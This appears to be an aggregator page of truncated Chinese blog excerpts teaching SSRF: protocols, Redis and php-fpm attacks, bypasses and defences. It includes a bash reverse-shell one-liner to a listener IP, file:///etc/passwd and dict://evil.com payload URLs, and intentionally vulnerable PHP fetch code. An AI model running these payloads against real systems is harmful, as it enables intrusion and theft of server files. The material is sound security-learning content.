ssrf

2019-11-28:ssrf基础学习,笔记

时间秒杀一切 提交于 2019-12-06 01:43:20
ssrf服务端请求伪造 ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网隔离的内部系统,ssrf形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,比如从指定的url地址获取网页文本内容,加载指定地址的图片,下载等等 ssrf利用方式 php协议,读取源码文件,需要file_get_contents gopher 弹shell dict 内网服务 file 读取当前服务器文件 http/s 执行http请求,使用http协议访问内网中的web服务 ssrf攻击应用 redis discuz fastcgi 内网应用 memcache 绕过 url混淆 ip转化为10进制 防御 限制协议只能为http,https协议 禁止30跳转 设置url白明单或限制内网ip 反弹shell:将目标服务器的终端弹到指定位置,并且需要注意弹出的shell和当前环境有关,比如使用apache服务弹出的shell是www权限 命令 bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1 crontab -l 查看当前任务 crontab -e 添加任务 crontab -r 删除任务

SSRF绕过姿势

两盒软妹~` 提交于 2019-12-04 23:13:22
0x00 什么是SSRF? SSRF(Server-Side Request Forgery,服务器端请求伪造):是一种由攻击者构造形成由服务器端发起请求的一个漏洞。 SSRF 攻击的目标是从外网无法访问的内部系统 漏洞成因 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。 0x01 SSRF的危害 攻击者可利用SSRF绕过防火墙,接触内部网络 攻击者可以利用 SSRF 实现的攻击主要有 5 种: 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息 攻击运行在内网或本地的应用程序(比如溢出) 对内网 WEB 应用进行指纹识别,通过访问默认文件实现 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等) 利用 file 协议读取本地文件等 0x02 SSRF出现场景 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed) 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB) Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP) 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

php-fpm(绕过open_basedir,结合ssrf)

▼魔方 西西 提交于 2019-12-04 15:03:27
环境的安装-> https://www.cnblogs.com/zaqzzz/p/11870489.html 1.nginx的畸形访问 因为安装的是php7.0,所以需要手动修改一下:(版本低的时候没有这种防护措施) fpm里面的security.limit_extensions默认只执行.php的文件 vi /etc/php/7.0/fpm/pool.d/www.conf 把php-fpm.conf文件里面的security.limit_extensions前边的分号去掉,把值设置为空,这样就可以执行任意的文件了,也可以试试把fpm关掉。 cgi.fix_pathinfo 这个参数为1的时候,访问: ip:/*.*/.php 例如 ip/1.jpg/.php ,这里1.jpg的内容是<?php phpinfo();?> 因为 1.jpg/.php (把他看成一个整体)不存在,但是cgi.fix_pathinfo的原因,去掉/后边的参数,可以找到1.jpg,就会把jpg当作php执行。 执行图: 2. fpm未授权访问 原因:fpm的9000端口暴露在公网上,其实默认文件是只有本地才可以访问的。 vi /etc/php/7.0/fpm/pool.d/www.conf 如果你配置成这样的话: 我们现在把他配置成全ip访问后,就可以复现了。 复现脚本 https://gist

SSRF漏洞

妖精的绣舞 提交于 2019-12-03 16:33:10
SSRF漏洞介绍:   SSRF漏洞(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。 SSRF漏洞原理:   SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。 SSRF漏洞利用手段:   1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);   2.攻击运行在内网或本地的有漏洞程序(比如溢出);   3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;   4.攻击内网或外网有漏洞的Web应用;   5.使用file:///协议读取本地文件(或其他协议)   http://www.xingkonglangzi.com/ssrf.php?url=192.168.1.10:3306   http://www.xingkonglangzi.com/ssrf.php?url=file:///c:/windows/win.ini SSRF漏洞出现点:

SSRF漏洞利用从浅到深

…衆ロ難τιáo~ 提交于 2019-12-03 08:50:49
梳理一下最近 不详细 简单记录 看不懂拉倒 \0x01 SSRF成因和基本利用 0x02 内网打未授权redis 0x03 关于ssrf打授权的redis 0x04 写redis shell和密钥的一点问题 0x05 SSRF Bypass 0x06 SSRFmap 0x01 SSRF成因和基本利用 php vul function: file_get_contents() fsockopen() curl_exec() readfile() example: <?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?> <?php function Getfile($host, $port, $link){ $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if(!$fp){ echo "$errstr (error number $errno) \n"; }else{ $out = "GET

ssrf攻击

匿名 (未验证) 提交于 2019-12-02 23:49:02
最近接手一个老项目,因为历史原因,接过来的很多接口都没有做好参数的过滤和校验,导致了很多攻击漏洞。 最近遇到的一个攻击漏洞就是ssrf攻击,ssrf攻击即服务器端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,一般情况下,ssrf攻击的目标是从外网无法访问的内部系统,正是因为它是服务器端发起的,所以它能够请求到与它相连而与外网隔离的系统内部。 简单点说用户构造一个探测内网的地址,比如test.sina.com,如果返回的错误与test123.sina.com返回的错误信息不一致,那就有可能说其中一个是内网。 ssrf形成的原因大都是由于服务器提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务器的请求伪造,ssrf是利用缺陷的web应用作为代理攻击远程和本地的服务器。 针对我这个项目做的防御方式是,对url地址做过滤,如果不是标准的url地址返回报错,然后测试URL地址的有效性,因为我这边正常的是一个下载地址,如果地址无效也返回报错,最后做获取地址的域名,通过域名获取IP地址,检测IP地址是否是一个内网地址,如果是也返回报错,最后的地址一定是一个有效的可以下载的外网地址,否则都是统一的报错信息。 还有其他的防御方式比如 限制协议为HTTP、HTTPS 禁止30x跳转

ssrf漏洞利用(内网探测、打redis)

*爱你&永不变心* 提交于 2019-12-02 14:52:57
摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。 file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。 一、进行内网探测 利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。 可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。 http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379 二、file协议读取文件 这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。 http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd 三、攻击redis

SSRF漏洞的挖掘思路与技巧

守給你的承諾、 提交于 2019-12-01 09:54:51
什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 通俗的说,如果我们将换为与该服务器相连的内网服务器地址会产生什么效果呢?比如127.0.0.1、10.0.0.1、192.168.1.1等等,如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码;如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。 到这里先解决两个问题: 1、为什么要请求127.0.0.1、10.0.0.1、192.168.1.1,有什么区别呢? 答:127.0.0.1只是代表你的本机地址,如果该网站只有一个服务器的情况下,是可以访问127.0.0.1的来判断的,但要明确一点,127.0.0.1其实并不是内网地址,内网地址是有严格的地址段的,这是ipv4地址协议中预留的,分别是10.0.0.0--10.255.255.255、172.16.0.0--172.31.255.255 、192.168

[WEB安全]SSRF之盲打SSRF

核能气质少年 提交于 2019-12-01 08:30:54
无回显情况下通过VPS NC监听所有URL Schema存在情况,也可以用DNSlog来试探。 0x01 测试URL 当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL Schema: file:/// dict:// sftp:// ldap:// tftp:// gopher:// file:// 这种URL Schema可以尝试从文件系统中获取文件: http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini 如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制: dict:// 这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表: http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0 sftp:// 在这里

ssrf简介

笑着哭i 提交于 2019-12-01 05:09:52
SSRF漏洞分析、利用及防御 0x01 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 SSRF漏洞的寻找(漏洞常见出没位置): 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed) 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB) Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP) 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML) 分享:通过URL地址分享网页内容 转码服务 在线翻译 图片加载与下载:通过URL地址加载或下载图片 图片、文章收藏功能 未公开的api实现以及其他调用URL的功能 从URL关键字中寻找 0x02 常见后端实现 file_get_contents